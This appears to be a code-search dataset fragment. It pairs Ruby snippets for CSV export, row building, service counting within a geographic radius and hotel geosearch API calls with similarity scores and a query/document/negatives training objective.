"def to_csv\n Redmine::Export::CSV.generate do |csv|\n # date range\n csv_min_date = [@ev.keys.min, @ac.keys.min, @pv.keys.min].min\n csv_max_date = [@ev.keys.max, @ac.keys.max, @pv.keys.max].max\n evm_date_range = (csv_min_date..csv_max_date).to_a\n # title\n csv << ['DATE', evm_date_range].flatten!\n # set evm values each date\n pv_csv = {}\n ev_csv = {}\n ac_csv = {}\n evm_date_range.each do |csv_date|\n pv_csv[csv_date] = @pv[csv_date].nil? ? nil : @pv[csv_date].round(2)\n ev_csv[csv_date] = @ev[csv_date].nil? ? nil : @ev[csv_date].round(2)\n ac_csv[csv_date] = @ac[csv_date].nil? ? nil : @ac[csv_date].round(2)\n end\n # evm values\n csv << ['PV', pv_csv.values.to_a].flatten!\n csv << ['EV', ev_csv.values.to_a].flatten!\n csv << ['AC', ac_csv.values.to_a].flatten!\n end\n end",
"def write_row(storage_path, csv_record)\n CSV.open(storage_path, 'ab') do |csv|\n csv << csv_record.values\n end\n end",
"def rows\n csv.rows.map { |row_array|\n Row.new(header: header, row_array: row_array).to_a\n }\n end",
"def to_csv(headers=nil)\n headers = Item.csv_headers if headers.nil?\n values = []\n headers.each do |h|\n values << '\"' + self.send(h).to_s + '\"'\n end\n return values.join(\"\\t\")\n end",
"def getValueFromCsvRow(row, label)\n return row[@csvColumnIndex[label]] ;\n end",
"def to_csv\r\n name\r\n end",
"def write_csv\n\t\tCSV.open(\"csv_exports/edits_per_user_#{@dataset}.csv\", 'w') do |csv|\n\t\t\tcsv << ['user', 'edits']\n\t\t\[email protected] do |user, edits|\n\t\t\t\tcsv << [user,edits]\n\t\t\tend\n\t\tend\n\tend",
"def to_csv\n nombre_completo << \" - \" << debe\n end",
"def csvexport\n @offer = Offer.find(params[:offer_id])\n projectid = @offer.subsubproject.subproject.project.id\n subprojectid = @offer.subsubproject.subproject.id\n subsubprojectid = @offer.subsubproject.id\n\n\n\n CSV.open(\"offerte#{Time.now.strftime(\"%Y-%m-%d-%H-%M\")}.csv\", \"wb\", {:headers => true, :encoding => \"iso-8859-1\", :col_sep => \";\"}) do |csv|\n csv << ['Offertposition', 'Geraeteanzahl',\n 'Eng Elektroplanung', 'Eng Planung/SW', 'Eng IBN/Bauleitung',\n 'SPS Total Brutto', 'SPS Total Netto',\n 'Schaltanlagen Total Brutto', 'Schaltanlagen Total Netto',\n 'Elektroinstallation Total Brutto', 'Elektroinstallation Total Netto',\n 'Total Brutto', 'Total Netto']\n csv << ['Total', @offer.total_geraeteanzahl, @offer.total_eng_elplanung, @offer.total_eng_planung_sw,\n @offer.total_eng_ibn_bauleitung, @offer.total_sps_total_brutto, @offer.total_sps_total_netto,\n @offer.total_sch_total_brutto, @offer.total_sch_total_netto,\n @offer.total_elinst_total_brutto, @offer.total_elinst_total_netto,\n @offer.total_total_brutto, @offer.total_total_netto]\n\n @offer.offer_offertpositions.each do |offer_offertposition|\n end\n end\n\n redirect_to project_subproject_subsubproject_offer_path(projectid, subprojectid, subsubprojectid, @offer.id),\n :notice => \"Offerte wurde unter \" + Rails.root.to_s + \"/ abgelegt!\"\n end",
"def to_csv\n fields = []\n\n fields << '\"' + key.to_s + '\"'\n fields << '\"' + scientific_name + '\"'\n fields << '\"' + (locality || '') + '\"'\n fields << '\"' + (resource ? resource.name : '') + '\"'\n fields << '\"' + (georef? ? 'TRUE':'FALSE') +'\"'\n fields << '\"' + (date_collected ? date_collected.to_s : '') + '\"'\n fields << '\"' + (latitude ? latitude.to_s : '') + '\"'\n fields << '\"' + (longitude ? longitude.to_s : '') + '\"'\n fields << '\"' + (colcode ? colcode.name : '') + '\"'\n fields << '\"' + (instcode ? instcode.name : '') + '\"'\n fields << '\"' + (catalogue_no ? catalogue_no.to_s : '') + '\"'\n\n fields.join(CSV_SEPARATOR)\n end",
"def rows(parts, fields = [\n [\n \"Sub Assembly\",\n \"sub_assembly\" \n ],\n [ \n \"Part Name\", \n \"part_name\"\n ],\n [ \n \"Quantity\", \n \"quantity\"\n ],\n [ \n \"Width\",\n \"width\"\n ],\n [ \n \"Length\",\n \"length\"\n ],\n [ \n \"Thickness\", \n \"thickness\"\n ],\n [ \n \"Material\",\n \"material\"\n ]\n ])\n \n data = ''\n\n # List each heading for the coumns based on the `fields` parameter.\n fields.each { |f|\n data += \"#{f[0].to_s}\"\n data += f == fields.last ? \"\\n\" : \",\"\n }\n \n # Loop through each part and generate a row.\n if parts != nil\n \n all_rows = ''\n \n parts.each { |p| \n \n all_rows += row(p, fields)\n \n }\n \n puts \"[CSVRenderer.rows] all_rows: #{all_rows}\" if $cutlister_debug\n \n data += all_rows.to_s\n \n else\n \n UI.messagebox \"Sorry, there are no parts to cutlist... Please make sure you selected parts before cutlisting.\", MB_OK\n \n end\n \n data\n \n end",
"def write_row(row)\n @data_stream << row.to_a\n end",
"def export\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n csv = \"\"\n i = 0\n @transactions.each do |trans|\n if (i==0)\n csv += trans.to_csv(true)\n else\n csv += trans.to_csv(false)\n end\n i += 1\n end\n\n respond_to do |format|\n format.csv { send_data csv }\n end\n end",
"def colrow() @records.get_data(GRT_COLROW); end",
"def to_csv\n csv = @stats.to_csv(row_names_as_first_column: false, superheadings:)\n csv.map.with_index do |row, row_index|\n row.map.with_index do |item, item_index|\n # data rows start after 2 superheadings + 1 heading\n if row_index <= superheadings.size\n header_cell row_index, item\n # item at index+1 is the case count - don't mark 0/0 as Red RAG rating\n # These are the positions of the 3 items which need a RAG rating\n elsif INDEXES_FOR_PERCENTAGE_COLUMNS.include?(item_index) && row[item_index + 1] != 0\n OpenStruct.new value: item, rag_rating: rag_rating(item)\n else\n OpenStruct.new value: item\n end\n end\n end\n end",
"def csv_data\n sql = Utils.setup_basic_filters(SqlAssembler.new, @params.merge('site_id' => @site[:id]))\n sql.set_select 'SELECT package_name, success, title, digitool_id, islandora_pid, content_model, time_started, time_finished, bytes_ingested FROM islandora_packages'\n sql.set_order 'ORDER BY id DESC'\n return sql.execute\n end",
"def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => 'es_setups.path, es_setups.name'\n setups = EsSetup.find :all, :order => @sort, :conditions => session[:conditions_setup]\n # Creation of the file\n file_name = \"setups_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << [\"Chemin\".trn,\"Nom\".trn,\"Valeur\".trn,\"Type\".trn, \"Lecture seule\".trn]\n setups.each do |t|\n csv << [t.path,t.name,t.value,t.type_data,(t.read_only=='Y' ? 'V' : '')]\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end",
"def csv_write (filename = \"students.csv\")\n CSV.open(filename, \"w\") do |row|\n @students.each do |student|\n row << [student[:name], student[:cohort], student[:food]]\n end\n end\nend",
"def csv_string\n CSV.generate do |csv|\n header.write_header csv\n records.each {|r| r.write_record csv}\n end\n end",
"def to_csv\n self.data.to_csv\n end",
"def photo_item_to_csv_row( item, labels, texts )\n row_hash = {\n filename: item[\"filename\"].sub(/\\?.*/,''),\n id: item[\"id\"],\n multitask_labels: labels,\n multitask_texts: texts,\n file_content_type: item[\"file_content_type\"]\n }\n DATA_CSV_COLUMNS.map{ |c| row_hash[c] }\nend",
"def rows\n @rows ||= csv_rows[1..-1]\n end",
"def rows\n @rows ||= csv_rows[1..-1]\n end",
"def line_for(column_values)\n column_values.map {|value| value_for(value) }.join('\",\"')\n end",
"def write_output\n rows = data_to_rows\n CSV.open(@filename, 'wb') do |csv|\n rows.each {|row| csv << row}\n end\n end",
"def export\n headers = JSON[params[:column_array]]\n rows = JSON[params[:row_array]]\n column_names = Array.new\n headers.each do |col|\n column_names << col\n end\n csv_string = CSV.generate do |csv|\n csv << column_names\n rows.each do |row|\n csv << row\n end\n end\n\n filename = params[:file_name] + \".csv\"\n send_data(csv_string,\n :type => 'text/csv; charset=utf-8; header=present',\n :filename => filename)\n end",
"def to_s\n @csv_out_data\n end",
"def to_s\n @csv_out_data\n end",
"def csv\n send_data(Map.to_csv, {:filename => \"maps.csv\" })\n end",
"def to_csv\n [@record_id, @email, @phone, @name_prefix, @first_name, @middle_name, @last_name, @name_suffix, @name_phonetic]\n end",
"def csv_download\n filename = sprintf(\"%s-%s.csv\",\n model_name,\n Time.now.strftime(\"%Y%m%d-%H%M%S\"))\n file = Tempfile.new(filename, Settings.edgarj.csv_dir)\n csv_visitor = EdgarjHelper::CsvVisitor.new(view_context)\n file.write CSV.generate_line(model.columns.map{|c| c.name})\n for rec in user_scoped.where(page_info.record.conditions).\n order(\n page_info.order_by.blank? ?\n nil :\n page_info.order_by + ' ' + page_info.dir) do\n array = []\n for col in model.columns do\n array << csv_visitor.visit_column(rec, col)\n end\n file.write CSV.generate_line(array)\n end\n file.close \n File.chmod(Settings.edgarj.csv_permission, file.path)\n send_file(file.path, {\n type: 'text/csv',\n filename: filename})\n #file.close(true)\n end",
"def to_csv\n self.all.to_promise.then do |all|\n io = StringIO.new\n io << (attrs.join(',') + \"\\n\")\n all.each do |model|\n line = model.to_csv(attrs: attrs, tab_sub: CSV_TAB_SUB, cr_sub: CSV_CR_SUB, nl_sub: CSV_NL_SUB, comma_sub: CSV_COMMA_SUB) # send(attr).to_s.gsub(',', COMMA_SUB)\n io << (line + \"\\n\")\n end\n io.string.to_promise\n end\n end",
"def csv_params\n\n owner_id = owner_id\n owner_id = id if usertype == \"reseller\"\n sep = Confline.get_value(\"CSV_Separator\", owner_id).to_s\n dec = Confline.get_value(\"CSV_Decimal\", owner_id).to_s\n\n sep = Confline.get_value(\"CSV_Separator\", 0).to_s if sep.to_s.length == 0\n dec = Confline.get_value(\"CSV_Decimal\", 0).to_s if dec.to_s.length == 0\n\n sep = \",\" if sep.blank?\n dec = \".\" if dec.blank?\n\n return sep, dec\n end",
"def settingsRow\n\t\toutput_row = []\n\t\t\n\t\t@output_row_headers.each do |header|\n\t\t\tcase header\n\t\t\twhen \"Campaign\"\n\t\t\t\toutput_row << @name\n\t\t\twhen \"Campaign Daily Budget\"\n\t\t\t\toutput_row << @daily_budget\n\t\t\twhen \"Languages\"\n\t\t\t\toutput_row << @languages\n\t\t\twhen \"Networks\"\n\t\t\t\toutput_row << @networks \n\t\t\twhen \"Status\"\n\t\t\t\toutput_row << @status\n\t\t\twhen \"Bid Strategy Type\"\n\t\t\t\toutput_row << @bid_strategy_type\t\t\t\t\n\t\t\twhen \"Enhanced CPC\"\n\t\t\t\toutput_row << @enhanced_cpc\n\t\t\twhen \"Viewable CPM\"\n\t\t\t\toutput_row << @viewable_cpm\n\t\t\twhen \"Bid Modifier\"\n\t\t\t\toutput_row << @bid_modifier\n\t\t\twhen \"Start Date\"\n\t\t\t\toutput_row << @start_date\n\t\t\twhen \"End Date\"\n\t\t\t\toutput_row << @end_date\n\t\t\twhen \"Ad Schedule\"\n\t\t\t\toutput_row << @ad_schedule\n\t\t\twhen \"Campaign Status\"\n\t\t\t\toutput_row << @campaign_status\n\t\t\telse\n\t\t\t\toutput_row << nil # Must be nil for CSV to be written properly.\n\t\t\tend\n\t\tend\n\n\t\toutput_row\n\tend",
"def to_csv(params, cookies, options = {})\n @cookies = cookies\n @id = \"#{params[:controller]}_#{params[:action]}_#{model_class.name}\" if @id.blank?\n \n before_csv_render\n \n return CSV.generate do |csv|\n tmp = []\n get_visible_columns.each do |col|\n tmp << col.name\n end\n csv << tmp\n @model.each do |mdl|\n tmp = []\n get_visible_columns.each do |col|\n tmp << Misc::nested_send(mdl, col.id)\n end\n csv << tmp\n end\n end\n end",
"def to_s\r\n to_csv\r\n end",
"def to_csv(created_at, updated_at)\n csv = Array.new\n csv.push id.to_s\n csv.push last_name.gsub(/\\\\/, \"\")\n csv.push first_name ? first_name.gsub(/\\\\/, \"\") : NULL\n csv.push fed\n csv.push title || NULL\n csv.push gender\n csv.push born ? born.to_s : NULL\n csv.push rating ? rating.to_s : NULL\n csv.push NULL # ICU ID\n csv.push created_at\n csv.push updated_at\n csv.join(\",\")\n end",
"def to_csv\n CSV.generate { |csv| to_a.each { |r| csv << r } }\n end",
"def get_csv\n CSV.generate do |csv|\n csv << ['Name','Student ID','User ID','Role','Email Address','Sections']\n get_feed[:students].each do |student|\n name = student[:last_name] + ', ' + student[:first_name]\n user_id = student[:login_id]\n student_id = student[:student_id]\n email_address = student[:email]\n role = ENROLL_STATUS_TO_CSV_ROLE[student[:enroll_status]]\n sections = sections_to_name_string(student[:sections])\n csv << [name, student_id, user_id, role, email_address, sections]\n end\n end\n end",
"def genCsvRowSpeed()\n row = configIndex() ;\n row.push(getAveSpeed()) ;\n return row ;\n end",
"def to_csv\n to_return =[[@primary_key, \n @note.note_id,\n @uuid, \n @type,\n @alt_text,\n @token_identifier]]\n\n return to_return\n end",
"def values\n rows.map{|r| r.value}\n end",
"def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => @@default_sort\n collection = @@model.find :all, :order => @sort, :conditions => session[:conditions]\n # Creation of the file\n file_name = \"#{@@param_name}_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << @@name_print.map{|n| n.trn}\n collection.each do |element|\n csv << @@field_print.map{|f| element[f]}\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end",
"def csv(key)\n @data[key].gsub(\",\", \" \")\n end",
"def csv_emit(row)\n row = row.to_h\n mutex.synchronize do\n # header if necessary\n csv_header(row.keys) if !csv.started?\n\n # emit\n print = csv.emit(row)\n puts print.ai if options[:verbose]\n\n # this is caught by Sinew::Main\n if csv.count == options[:limit]\n raise LimitError\n end\n end\n end",
"def colrow_record() @records.get(GRT_COLROW); end",
"def tsung_csv(s,e,args)\n CSV.open(@csv_path, \"wb\") do |csv|\n \tfor i in s..e\n \t csv << args.map{|item|\"#{item}#{i}\"}\n end \n end\n end",
"def render_rows\n [header.indices, *(records.map &:values)]\n end",
"def generate(opts={})\n nd = normalized_data\n ::CSV.generate(opts) do |csv|\n # set header row\n csv << nd[:headers]\n nd[:values].each do |row|\n csv << row\n end\n end\n end",
"def csv_attributes\n [\n \"Nimi\" => \"name\",\n \"Järjestys\" => \"numbering_order\",\n \"Lyhenne\" => \"shorten\",\n \"Ehdokkaita\" => :candidate_count,\n \"Vaalirengas\" => :coalition_name\n ]\n end",
"def to_csv\n Formatter::CSV.render(self)\n end",
"def to_csv\n map {|row|\n row.map {|f|\n f =~ /[[:punct:]]/ ? '\"' + f.gsub(/\"/, '\"\"') + '\"' : f }.\n join(\",\")}.\n join(\"\\n\")\n end",
"def process_row(row)\n row\n end",
"def serialize(row)\n row\n .map { |c| db_format(c) }\n .join(\",\")\nend",
"def csv_attributes\n @csv_attributes ||= Hash[header.column_names.zip(row_array)]\n end",
"def chart names, values\n normalized_values = values\n normalized_values = values.map {|v| [v] } if (values.count > 0 && (not values[0].is_a?(Array)))\n write_rows('temp', names, normalized_values)\n `open temp.csv`\nend"
] | [
"0.76100165",
"0.7114935",
"0.70905566",
"0.70905566",
"0.7062761",
"0.69704336",
"0.69647074",
"0.69535345",
"0.6878125",
"0.6827254",
"0.6727361",
"0.67201424",
"0.67081106",
"0.6699801",
"0.6610398",
"0.6595244",
"0.6591871",
"0.65683997",
"0.65583557",
"0.6528785",
"0.6491728",
"0.6486522",
"0.64640045",
"0.6449335",
"0.64462155",
"0.6441549",
"0.64012325",
"0.6394055",
"0.63540995",
"0.6304483",
"0.6302294",
"0.6294805",
"0.62691504",
"0.62671506",
"0.62585264",
"0.62450385",
"0.6242918",
"0.62410486",
"0.6227618",
"0.62129694",
"0.62039185",
"0.6198637",
"0.6198238",
"0.6191948",
"0.61894524",
"0.6183825",
"0.61629766",
"0.6110957",
"0.61045206",
"0.60969406",
"0.6087603",
"0.60684186",
"0.60646784",
"0.60627913",
"0.6061638",
"0.6059185",
"0.6056255",
"0.6052901",
"0.6035648",
"0.6031355",
"0.60256046",
"0.60240483",
"0.6014464",
"0.6013726",
"0.60006464",
"0.60006464",
"0.5998621",
"0.5997101",
"0.59950036",
"0.5992181",
"0.5992181",
"0.59917885",
"0.5986476",
"0.5977277",
"0.5969122",
"0.5965118",
"0.59611696",
"0.5959042",
"0.59513474",
"0.5950755",
"0.5948298",
"0.593034",
"0.5925466",
"0.59205234",
"0.59111404",
"0.5906911",
"0.58883876",
"0.58873296",
"0.5876571",
"0.58757883",
"0.5875069",
"0.5872189",
"0.58718187",
"0.5870647",
"0.5865952",
"0.5861062",
"0.5860693",
"0.58590454",
"0.5856385"
] | 0.6537624 | 20 |
Counts the services under a given category. If lat and lng are passed, counts them within given radius of that point, defaulting to 30 miles | def service_count lat=nil, lng=nil, meters=30*1609.34
if lat && lng
services.within_x_meters(lat, lng, meters).count
else
services.count
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def number_of_places_in_categories_within_bounds(categories, bounds)\n one.number_of_places_in_categories_within_bounds(sql_categories(categories), bounds[:sw][:latitude], \n bounds[:sw][:longitude], bounds[:ne][:latitude], bounds[:ne][:longitude])['number_of_places_in_categories_within_bounds'].to_i\n end",
"def places_in_categories_within_bounds(categories, bounds, to_return = 10, start_from = 0)\n results_from_search many.places_in_categories_within_bounds(sql_categories(categories), bounds[:sw][:latitude], \n bounds[:sw][:longitude], bounds[:ne][:latitude], bounds[:ne][:longitude], to_return, start_from)\n end",
"def count_places\n COUNT_PLACES\n end",
"def total_workout_with_km_calories\n set_sport_by_user.sum(:distance)\n end",
"def count(category = :all)\n SpiceRub::Native.ktotal(category)\n end",
"def search_radius\n exact_location ? 100 : 50_000\n end",
"def count_geographic_occurrences_of_users(users)\n users\n .filter_map { |u| ISO3166::Country[u.try(:organisation).try(:country)] }\n .reduce(Hash.new(0)) { |result, c| result[c] += 1; result }\n .map { |c, z| { name: c.iso_short_name, lat: c.geo[\"latitude\"], lon: c.geo[\"longitude\"], z: z } }\n end",
"def get_category_count\n\t\tif(params[:id])\n\t\t\t@user = User.find(params[:id].downcase)\n\t\t\n\t\t\t@all_projects = @user.projects.order(\"updated_at DESC\")\n\n\t\t\t@arts_and_crafts_count = 0\n\t\t\t@clothing_count = 0\n\t\t\t@cooking_count = 0\n\t\t\t@electronics_count = 0\n\t\t\t@mechanical_count = 0\n\t\t\t@other_count = 0\n\n\t\t\tarts_and_crafts_category = Category.where(:name => \"Arts & Crafts\").first\n\t\t clothing_category = Category.where(:name => \"Clothing\").first\n\t\t cooking_category = Category.where(:name => \"Cooking\").first\n\t\t electronics_category = Category.where(:name => \"Electronics\").first\n\t\t mechanical_category = Category.where(:name => \"Mechanical\").first\n\t\t other_category = Category.where(:name => \"Other\").first\n\n\t\t @all_projects.each do |project|\n\t\t\t if project.categories.include?(arts_and_crafts_category)\n\t\t\t @arts_and_crafts_count += 1\n\t\t\t end\n\n\t\t\t if project.categories.include?(clothing_category)\n\t\t\t @clothing_count += 1\n\t\t\t end\n\n\t\t\t if project.categories.include?(cooking_category)\n\t\t\t @cooking_count += 1\n\t\t\t end\n\n\t\t\t if project.categories.include?(electronics_category)\n\t\t\t @electronics_count += 1\n\t\t\t end\n\n\t\t\t if project.categories.include?(mechanical_category)\n\t\t\t @mechanical_count += 1\n\t\t\t end\n\n\t\t\t if project.categories.include?(other_category)\n\t\t\t @other_count += 1\n\t\t\t end\n\t \tend\n\t end\n\tend",
"def count_by(geo, results)\n totals = results.each_with_object(Hash.new(0)) do |res,counts|\n # binding.pry\n next unless [\"us\",\"ca\"].include?(res.country)\n counts[res.send(geo.to_sym)] += 1\n end\n puts \"TOTAL: #{totals.values.inject(:+)}\"\n\n totals = totals.sort_by { |geo,count| -count }\n\n puts \"Total groups by #{geo.to_s}: \"\n totals.each do |k,v|\n puts \"#{k}: #{v}\"\n end\nend",
"def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end",
"def category_in_bounds(swy, swx, ney, nex, category_id, to_return = 10, start_from = 0)\n results_from_search many.within_bounds_in_category(swy, swx, ney, nex, category_id, to_return, start_from)\n end",
"def get_category_count(city_portal)\n @city_portal = city_portal\n @data_portal = DataPortal.find(@city_portal.data_portal_id)\n\n categories = @city_portal.count_categories\n @data_portal.update(category_counts: categories)\n end",
"def points_count_in_layer\n result = {:points_in_area => [], :points_count_arr => [], :areas_id => [], :count_id_hash => {}}\n if(params[:points].blank?)\n render :json => result.to_json if params[:points].blank?\n else\n points = params[:points].values.map do |v|\n {:id => params[:layer_id], :lat => v[0], :lon => v[1]}\n end\n\n points_in_area = Area.contains_points_in_layer_json(params[:layer_id].to_i, points, @tolerance)\n points_in_area.each {|p| p.delete(:points)}\n area_ids = points_in_area.map{|p| p[:area_id]}\n\n result = { :points_in_area => points_in_area, :points_count_arr => points_in_area.map{|p| p[:pointsWithinCount]}, :areas_id => area_ids, :count_id_hash => points_in_area.map{|p| {p[:area_id] => p[:pointsWithinCount]}}.inject(:merge) }\n\n render :json => JSON.generate(result)\n end\n end",
"def cat_count(category)\n @category_list[category][:_count] ? @category_list[category][:_count].to_f : 0.0\n end",
"def cat_count(category)\n @category_list[category][:_count] ? @category_list[category][:_count].to_f : 0.0\n end",
"def count_people(query={})\n self.simple_client.get(\"/api/v1/people/count?#{query.to_query}\")[\"count\"]\n end",
"def tweets_near lat, long, radius, count\n\n\t\tsearch_params = { geocode: \"#{lat.to_s},#{long.to_s},#{radius.to_s}mi\", count: count.to_i, result_type: \"recent\" }\n\t\tsearch_result = Twitter.search(\"\", search_params)\n\n\t\tsearch_result.statuses\n\n\tend",
"def kml_airport_count(kml, airport_to_find)\n airports = Hash.from_xml(kml).dig(\"kml\", \"Document\", \"Folder\").find{|f| f[\"name\"] == \"Airports\"}.dig(\"Placemark\")\n count = airports.select{|a| a[\"description\"] == airport_to_find.city}.size\n end",
"def get_places(lat, lon, options={})\n options[:category] = category_query_string(options[:category]) unless options[:category].nil?\n geojson_hash = get Endpoint.places(lat, lon, options)\n HashUtils.recursively_symbolize_keys geojson_hash\n end",
"def total_metadata_on_services(type=:all)\n @metadata_counts_per_service.values.map{|v| v[type]}.sum\n end",
"def index\n @categories = Array.new\n Category.all.each do |c|\n @categories << [c.name, c.name]\n end\n\n keywords = Array.new\n keywords << params[:category] unless params[:category].blank?\n keywords << params[:keyword] unless params[:keyword].blank?\n @keyword = keywords.join(\",\")\n\n if params[:category].blank?\n if params[:keyword].blank?\n @places = Place.page params[:page]\n else\n @places = Place.search_with_keyword(params[:keyword]).page params[:page]\n end\n else\n if params[:keyword].blank?\n @places = Place.search_with_category(params[:category]).page params[:page]\n else\n @places = Place.search_with_category(params[:category]).search_with_keyword(params[:keyword]).page params[:page]\n end\n end\n\n @hash = Gmaps4rails.build_markers(@places) do |place, marker|\n marker.lat place.latitude\n marker.lng place.longitude\n marker.infowindow \"#{place.name}<br>(#{place.category})<br>#{place.address}\"\n marker.json({title: place.name})\n end\n end",
"def total_orbit_count(orbit_map)\n count = 0\n orbit_map.each{|satellite, _|\n central_objects = orbit_count(orbit_map, satellite)\n # puts \"Satellite %s orbits %d objects\" % [satellite, central_objects]\n count += central_objects\n }\n count\nend",
"def count_geographic_occurrences_of_photos(locations)\n locations.map { |l|\n { name: l.description, lat: l.latitude.to_f, lon: l.longitude.to_f, z: l.photos.count, ownURL: location_path(l) }\n }\n end",
"def space_service_count_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SpaceService.space_service_count ...\"\n end\n # resource path\n local_var_path = \"/space/count\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json;charset=utf-8']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json;charset=utf-8']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'filter'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Integer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SpaceService#space_service_count\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def orbit_count(orbit_map, satellite)\n count = 0\n while satellite = orbit_map[satellite]\n count += 1\n end\n count\nend",
"def size\r\n\t\tcategory = 0\r\n\t\tsearchText = \" \"\r\n\t\tcategory = params[:category].to_i if params[:category] != nil\r\n\t\tsearchText = params[:searchText].gsub(\"_\", \" \") if params[:searchText] != nil\r\n\r\n\t\tcampaigns = search(searchText, category)\r\n\t\t\r\n\t\trespond_to do |format|\r\n\t\t\tmsg = { status: \"ok\", message: campaigns.size }\r\n\t\t\tformat.json\t{ render json: msg }\r\n\t\tend\r\n\tend",
"def count_of(category)\n @transactions.select {|transaction| transaction.category.to_sym == category}.size\n end",
"def hotel_geosearch_by_circle_with_http_info(apikey, latitude, longitude, radius, check_in, check_out, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.hotel_geosearch_by_circle ...\"\n end\n # verify the required parameter 'apikey' is set\n fail ArgumentError, \"Missing the required parameter 'apikey' when calling DefaultApi.hotel_geosearch_by_circle\" if apikey.nil?\n # verify the required parameter 'latitude' is set\n fail ArgumentError, \"Missing the required parameter 'latitude' when calling DefaultApi.hotel_geosearch_by_circle\" if latitude.nil?\n # verify the required parameter 'longitude' is set\n fail ArgumentError, \"Missing the required parameter 'longitude' when calling DefaultApi.hotel_geosearch_by_circle\" if longitude.nil?\n # verify the required parameter 'radius' is set\n fail ArgumentError, \"Missing the required parameter 'radius' when calling DefaultApi.hotel_geosearch_by_circle\" if radius.nil?\n # verify the required parameter 'check_in' is set\n fail ArgumentError, \"Missing the required parameter 'check_in' when calling DefaultApi.hotel_geosearch_by_circle\" if check_in.nil?\n # verify the required parameter 'check_out' is set\n fail ArgumentError, \"Missing the required parameter 'check_out' when calling DefaultApi.hotel_geosearch_by_circle\" if check_out.nil?\n # resource path\n local_var_path = \"/hotels/search-circle\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'apikey'] = apikey\n query_params[:'latitude'] = latitude\n query_params[:'longitude'] = longitude\n query_params[:'radius'] = radius\n query_params[:'check_in'] = check_in\n query_params[:'check_out'] = check_out\n query_params[:'lang'] = opts[:'lang'] if !opts[:'lang'].nil?\n query_params[:'currency'] = opts[:'currency'] if !opts[:'currency'].nil?\n query_params[:'chain'] = opts[:'chain'] if !opts[:'chain'].nil?\n query_params[:'max_rate'] = opts[:'max_rate'] if !opts[:'max_rate'].nil?\n query_params[:'number_of_results'] = opts[:'number_of_results'] if !opts[:'number_of_results'].nil?\n query_params[:'all_rooms'] = opts[:'all_rooms'] if !opts[:'all_rooms'].nil?\n query_params[:'show_sold_out'] = opts[:'show_sold_out'] if !opts[:'show_sold_out'].nil?\n query_params[:'amenity'] = @api_client.build_collection_param(opts[:'amenity'], :multi) if !opts[:'amenity'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'HotelSearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#hotel_geosearch_by_circle\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def costs_by_category(params = {})\n costs = Hash.new\n options = Hash.new\n params[:from] = self.activated_at if params[:from].blank?\n params[:to] = Time.now if params[:to].blank?\n\n payments.between(params[:from], params[:to]).closed.each do |payment|\n costs[payment.bill.category.name] = 0 if costs[payment.bill.category.name].blank?\n costs[payment.bill.category.name] += payment.amount\n end\n costs\n end",
